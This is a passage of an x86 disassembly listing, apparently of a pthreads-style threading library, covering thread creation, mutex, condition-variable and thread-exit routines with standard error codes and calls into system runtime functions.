		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FF00:				; CODE XREF: sub_42FE60+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FF14
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FF14:				; CODE XREF: sub_42FE60+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FF29
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FF36
; ---------------------------------------------------------------------------


loc_42FF29:				; CODE XREF: sub_42FE60+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FF33:				; CODE XREF: sub_42FE60+72j
		dec	eax
		mov	[esi], eax


loc_42FF36:				; CODE XREF: sub_42FE60+67j
					; sub_42FE60+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FF5E
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FF5E
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FF5E:				; CODE XREF: sub_42FE60+E3j
					; sub_42FE60+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FF64:				; CODE XREF: sub_42FE60+9j
					; sub_42FE60+13j
		mov	eax, 16h


loc_42FF69:				; CODE XREF: sub_42FE60+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FE60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FFC0	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FE60
		add	esp, 8
		retn
sub_42FFC0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FFE0	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_4300B6
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_4300B6
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_43005E
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_43005E
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_430060
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_430060
; ---------------------------------------------------------------------------


loc_43005E:				; CODE XREF: sub_42FFE0+4Dj
					; sub_42FFE0+54j
		xor	edi, edi


loc_430060:				; CODE XREF: sub_42FFE0+6Ej
					; sub_42FFE0+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset sub_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_4300A9
		test	ebp, ebp
		jz	short loc_4300A2
		cmp	dword ptr [ebp+0], 0
		jz	short loc_4300A2
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_4300A2:				; CODE XREF: sub_42FFE0+AAj
					; sub_42FFE0+B0j
		push	edi
		nop
		call	near ptr 27A0920h


loc_4300A9:				; CODE XREF: sub_42FFE0+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_4300E9


loc_4300B6:				; CODE XREF: sub_42FFE0+14j
					; sub_42FFE0+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_4300DC
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4300DC:				; CODE XREF: sub_42FFE0+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4300E9:				; CODE XREF: sub_42FFE0+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FFE0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430150:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_430187 ; default
		jmp	off_43018C[ecx*4] ; switch jump


loc_430165:				; DATA XREF: ___:off_43018Co
		call	sub_401708	; jumptable 0043015E case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_43016D:				; CODE XREF: ___:0043015Ej
					; DATA XREF: ___:off_43018Co
		call	sub_4017B2	; jumptable 0043015E case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_430175:				; CODE XREF: ___:0043015Ej
					; DATA XREF: ___:off_43018Co
		call	sub_4017C1	; jumptable 0043015E case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_43017D:				; CODE XREF: ___:0043015Ej
					; DATA XREF: ___:off_43018Co
		call	sub_4017C1	; jumptable 0043015E case 0
		call	sub_40161D

locret_430187:				; CODE XREF: ___:0043015Cj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_43018C	dd offset loc_43017D	; DATA XREF: ___:0043015Er
		dd offset loc_430165	; jump table for switch	statement
		dd offset loc_43016D
		dd offset loc_430175
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301C0:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E398
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A127h, 4C48390h
		dd 7E89016Ah, 1BE6E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430210	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E8A0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43023B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43023B
		push	eax
		nop
		call	near ptr 27A0000h
		cmp	eax, 7FFFFFFFh
		jnz	short loc_430240


loc_43023B:				; CODE XREF: sub_430210+14j
					; sub_430210+1Bj
		mov	esi, 3


loc_430240:				; CODE XREF: sub_430210+29j
		push	offset dword_50E8A0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_43025C
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_43025E


loc_43025C:				; CODE XREF: sub_430210+3Dj
		mov	eax, esi


loc_43025E:				; CODE XREF: sub_430210+4Aj
		pop	esi
		retn
sub_430210	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430280:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_4302D1
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_4302D1
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_4302B1
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 2790F4Ah
		test	eax, eax
		jnz	short loc_4302B7
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_4302B1:				; CODE XREF: ___:00430299j
					; ___:004302BAj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4302B7:				; CODE XREF: ___:004302A7j
		cmp	dword ptr [esi], 0
		jnz	short loc_4302B1
		mov	edi, dword_50F8D0


loc_4302C2:				; CODE XREF: ___:004302C9j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_4302C2
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4302D1:				; CODE XREF: ___:00430289j
					; ___:00430291j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430300	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E398
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430300	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0F8E87675h, 8BFFFD17h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2360657h, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 9B0E850h
		dd 50900238h, 0E850D3FFh, 2360670h, 5BC08590h, 0E8560E75h
		dd 0FFFD1855h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 236FC88h
		dd 28468990h, 0E398158Bh, 52560050h, 0FD1D52E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_4303EE
		test	eax, eax
		jz	short loc_4303E8
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_4303EE


loc_4303E8:				; CODE XREF: sub_4303D0+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4303EE:				; CODE XREF: sub_4303D0+Aj
					; sub_4303D0+16j
		xor	eax, eax
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430410:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43041E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43041E:				; CODE XREF: ___:00430416j
		mov	dword_50E3A8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430440:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3A8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_430482
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4304C9


loc_430482:				; CODE XREF: sub_430460+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	near ptr 27905C0h
		nop
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_4304C9
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4304C9:				; CODE XREF: sub_430460+20j
					; sub_430460+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304F0	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E8A0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_445704
		cmp	esi, 1
		jz	short loc_430525
		mov	eax, [esi+8]
		push	offset dword_50E8A0
		mov	dword_445704, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430525:				; CODE XREF: sub_4304F0+15j
		push	offset dword_50E8A0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_4304F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430560	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E8A0
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_445704
		push	offset dword_50E8A0
		mov	[edx+8], eax
		mov	dword_445704, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_430560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4305B0	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_4305D0
sub_4305B0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4305D0	proc near		; CODE XREF: sub_4305B0+7p
					; sub_4306F0+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_4305D0	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430606
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43060E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43060E
		mov	edi, 2
		jmp	short loc_43060E
; ---------------------------------------------------------------------------


loc_430606:				; CODE XREF: ___:004305EBj
		mov	dword ptr [esp+0Ch], 0


loc_43060E:				; CODE XREF: ___:004305F2j
					; ___:004305FDj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2790437h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430699
		dec	ecx
		jz	short loc_430644
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430629j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 27A0DDEh
		test	esi, esi
		jz	short loc_43068E
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_430685
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430685:				; CODE XREF: ___:00430669j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_43068E:				; CODE XREF: ___:00430651j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430699:				; CODE XREF: ___:00430626j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4306F0	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4305D0
sub_4306F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430720	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430754
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430720+17j
		test	eax, eax
		jnz	short loc_43075D
		mov	esi, 16h


loc_43075D:				; CODE XREF: sub_430720+36j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430790	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_4307A4
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307A4:				; CODE XREF: sub_430790+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4307BF
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4307BF
		cmp	dword ptr [eax], 1
		jnz	short loc_4307BF
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307BF:				; CODE XREF: sub_430790+1Aj
					; sub_430790+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_4307E4
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307E4:				; CODE XREF: sub_430790+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430800
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430800
		mov	edi, [edi+4]
		jmp	short loc_430802
; ---------------------------------------------------------------------------


loc_430800:				; CODE XREF: sub_430790+63j
					; sub_430790+69j
		xor	edi, edi


loc_430802:				; CODE XREF: sub_430790+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_43083D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43083D:				; CODE XREF: sub_430790+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 27B08FCh
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430790	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4308A0	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_430980
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430980
		cmp	eax, 0FFFFFFFFh
		jz	loc_430945
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_43097B
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_430937
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_430930
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27B02CCh
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430930:				; CODE XREF: sub_4308A0+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430937:				; CODE XREF: sub_4308A0+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430945:				; CODE XREF: sub_4308A0+1Dj
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43096B
		push	offset dword_50E900
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43096B:				; CODE XREF: sub_4308A0+B3j
		push	offset dword_50E900
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_43097B:				; CODE XREF: sub_4308A0+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430980:				; CODE XREF: sub_4308A0+Aj
					; sub_4308A0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4308A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309D0	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_4309F3
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4309F3:				; CODE XREF: sub_4309D0+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_4309D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A20	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430A41
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430A41
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A41:				; CODE XREF: sub_430A20+9j
					; sub_430A20+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430A20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A60:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A7D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430A7D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_430A7D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_430A7D:				; CODE XREF: ___:00430A66j
					; ___:00430A6Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430AA0:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430ACA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430ACA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430ABE
		test	eax, eax
		jnz	short loc_430ACA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430ABE:				; CODE XREF: ___:00430AB5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430ACA:				; CODE XREF: ___:00430AA6j
					; ___:00430AACj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AE0	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430B01
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430B01
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430B01
		cmp	edx, 2
		jg	short loc_430B01
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AE0+8j
					; sub_430AE0+Ej ...
		mov	eax, 16h
		retn
sub_430AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B20	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430B3E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430B3E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430B3E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430B3E:				; CODE XREF: sub_430B20+8j
					; sub_430B20+Ej ...
		mov	eax, 16h
		retn
sub_430B20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B60	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430C17
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430C17
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B91
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B91
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B91:				; CODE XREF: sub_430B60+1Dj
					; sub_430B60+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 2790F4Ah
		test	eax, eax
		jnz	short loc_430BBA


loc_430B9E:				; CODE XREF: sub_430B60+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430BB2
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430BB2:				; CODE XREF: sub_430B60+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430BBA:				; CODE XREF: sub_430B60+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430BFA
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0E80h, 8508C483h, 562374C0h, 0F422E890h
		dd 7E830237h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430BFA:				; CODE XREF: sub_430B60+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430C50
		add	esp, 4
		test	eax, eax
		jz	short loc_430B9E
